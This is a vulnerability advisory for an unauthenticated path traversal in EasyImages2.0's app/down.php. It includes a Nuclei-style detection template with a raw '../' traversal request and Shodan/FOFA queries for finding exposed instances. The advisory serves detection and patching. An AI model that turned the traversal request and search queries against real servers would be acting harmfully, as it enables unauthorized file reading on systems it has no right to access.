CVE-2026-117566: EasyImages2.0 <= 2.8.6 - Unauthenticated Path Traversal in app/down.php

2026-11-29 PoC Public

Description

EasyImages2.0 through 2.8.6 joins the unauthenticated dw or history parameter in app/down.php to a relative path without checking that it remains inside the configured image storage directory, allowing files with permitted image extensions to be downloaded through path traversal.

Details

CVE
CVE-2026-117566 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-117566

info:
  name: EasyImages2.0 <= 2.8.6 - Unauthenticated Path Traversal in app/down.php
  author: maulanawirawan
  severity: medium
  description: |
    EasyImages2.0 through 2.8.6 joins the unauthenticated dw or history parameter in app/down.php to a relative path without checking that it remains inside the configured image storage directory, allowing files with permitted image extensions to be downloaded through path traversal.
  impact: |
    An unauthenticated attacker can read files with permitted image extensions that are accessible to the web server outside the image storage directory.
  remediation: |
    Upgrade EasyImages2.0 to version 2.8.7 or later, which confines download paths to the configured image storage directory.
  reference:
    - https://github.com/icret/EasyImages2.0/blob/2.8.6/app/down.php
    - https://github.com/icret/EasyImages2.0/commit/e337a2bee7e7c67eb90bc4364a345c0857cb73aa
    - https://github.com/icret/EasyImages2.0/issues/286
    - https://www.vulncheck.com/advisories/easyimages2-0-through-2.8.6-unauthenticated-path-traversal-via-down-php-thumb-php-and-info-php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-117566
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-117566
    epss-score: 0.00931
    epss-percentile: 0.59015
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: icret
    product: easyimages2.0
    shodan-query: 'http.html:"EasyImage2.0"'
    fofa-query: 'app="EasyImage-简单图床"'
  tags: cve,cve2026,easyimages,path-traversal,file-download,unauth

http:
  - raw:
      - |
        GET /app/down.php?dw=docs/../docs/images/1-001.png HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(all_headers), "content-disposition:")'
          - 'contains(tolower(all_headers), "attachment;filename=1-001.png")'
          - 'starts_with(body, hex_decode("89504e470d0a1a0a0000000d49484452"))'
        condition: and
# digest: 4b0a00483046022100c36adf6c7315e6b2f1f7fc1fa716a0fb68dc83a13e6f096bae907eaa25aceee80221008d09b57f4a65ccac414e43340cb04e7cdf9fccae39baf00e8dabdcdc5de55293:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life